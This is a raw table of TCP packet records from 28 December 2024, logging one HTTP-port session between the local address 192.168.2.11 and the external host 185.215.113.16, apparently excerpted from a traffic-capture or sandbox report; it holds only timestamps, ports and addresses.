Dec 28, 2024 09:56:58.166841984 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.166887999 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.166935921 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.167912006 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.167952061 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.167963982 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.169121981 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.169193983 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.169233084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.169971943 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.170031071 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.469338894 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.488147020 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.588964939 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.588987112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.588994980 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.589001894 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.589057922 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.607706070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.607719898 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.607728004 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.607764006 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.607784033 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.607834101 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.608026981 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.608103037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.608110905 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.608191967 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.608222008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.608233929 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.608880997 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.608927965 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.608935118 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.608982086 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.609004974 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.609062910 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.609739065 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.609745979 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.609752893 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.609791994 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.609796047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.609841108 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.610438108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.610492945 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.610512018 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.610553026 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.610586882 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.610639095 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.611248016 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.611340046 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.611347914 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.611385107 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.611398935 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.611440897 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.612057924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.612112045 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.612119913 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.612194061 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.612215996 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.612298012 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.612840891 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.612898111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.612910032 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.612946987 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.613008022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.613059998 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.613648891 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.613711119 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.613723993 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.613763094 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.613787889 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.613841057 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.614475012 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.614514112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.614521027 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.614569902 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.614608049 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.614662886 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.615248919 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.615333080 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.615339994 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.615392923 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.615415096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.615499020 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.616061926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.616101980 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.616107941 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.616157055 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.616197109 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.616245985 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.616827011 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.616954088 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.617006063 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.617007971 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.617021084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.617057085 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.617105007 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.617762089 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.617814064 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.617820024 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.617826939 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.617867947 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.617888927 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.618572950 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.618622065 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.618633986 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.618637085 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.618684053 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.618705034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.619360924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.619412899 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.619415998 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.619421005 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.619463921 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.619532108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.620182037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.620213985 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.620220900 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.620245934 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.620264053 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.620383024 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.620975971 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.621027946 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.621033907 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.621033907 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.621082067 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.621135950 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.621783018 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.621833086 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.621834993 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.621840000 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.621884108 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.621905088 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.622589111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.622625113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.622632980 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.622647047 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.622682095 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.622776985 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.623388052 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.623430967 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.623437881 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.623440981 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.623471975 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.623598099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.624187946 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.624226093 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.624227047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.624233961 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.624291897 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.624313116 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.624994040 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.625031948 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.625040054 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.625046015 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.625088930 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.625119925 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.625802994 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.625843048 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.625852108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.625859022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.625897884 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.625946999 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.626581907 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.626631021 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.626635075 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.626642942 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.626682043 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.626746893 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.627407074 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.627454996 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.627470970 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.627512932 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.627538919 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.627541065 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.628204107 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.628248930 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.628254890 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.628261089 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.628308058 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.628326893 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.628993988 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629044056 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.629045963 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629054070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629110098 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.629142046 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629776001 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629825115 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.629857063 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629868031 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629946947 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.629965067 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.630595922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.630635977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.630644083 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.630656958 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.630693913 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.630754948 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.631407022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.631458044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.631464005 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.631493092 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.631509066 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.631567955 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.632200956 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.632250071 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.632262945 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.632317066 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.632328033 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.632337093 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.632997990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.633054018 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.633059978 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.633061886 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.633095980 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.633158922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.633801937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.633871078 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.633877993 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.633886099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.633930922 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.633951902 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.634617090 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.634663105 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.634670973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.634697914 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.634711981 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.634761095 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.635410070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.635452986 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.635463953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.635471106 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.635509968 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.635586023 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.636279106 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.636292934 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.636300087 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.636332989 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.636362076 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.636393070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637012959 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637053967 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.637061119 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637068033 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637120008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.637176037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637826920 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637872934 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.637890100 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637898922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.637940884 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.637965918 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.638638973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.638681889 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.638700962 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.638709068 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.638751030 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.638776064 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.639425993 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.639466047 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.639478922 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.639486074 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.639529943 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.639583111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.640228987 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.640274048 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.640278101 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.640285969 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.640328884 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.640396118 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641057968 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641103983 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.641163111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641180992 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641186953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641212940 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.641846895 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641891003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641891956 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.641899109 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.641937017 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.642002106 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.642643929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.642668009 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.642673969 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.642702103 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.642721891 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.642772913 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.643443108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.643486977 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.643511057 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.643517971 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.643558025 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.643579960 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.644247055 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.644287109 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.644289017 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.644301891 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.644336939 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.644359112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.645035028 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.645076036 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.645103931 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.645111084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.645140886 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.645204067 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646359921 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646394968 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.646414995 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646425009 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646471977 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.646531105 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646627903 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646677017 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.646701097 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646713018 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.646750927 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.646771908 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.647484064 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.647530079 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.647552013 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.647559881 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.647588968 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.647656918 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.648283005 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.648329973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.648330927 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.648339033 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.648380041 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.648415089 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.693614006 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.742952108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.787415028 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.253849983 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.254831076 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.506788969 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.558651924 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.626487970 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.626506090 CET	80	49771	185.215.113.16	192.168.2.11
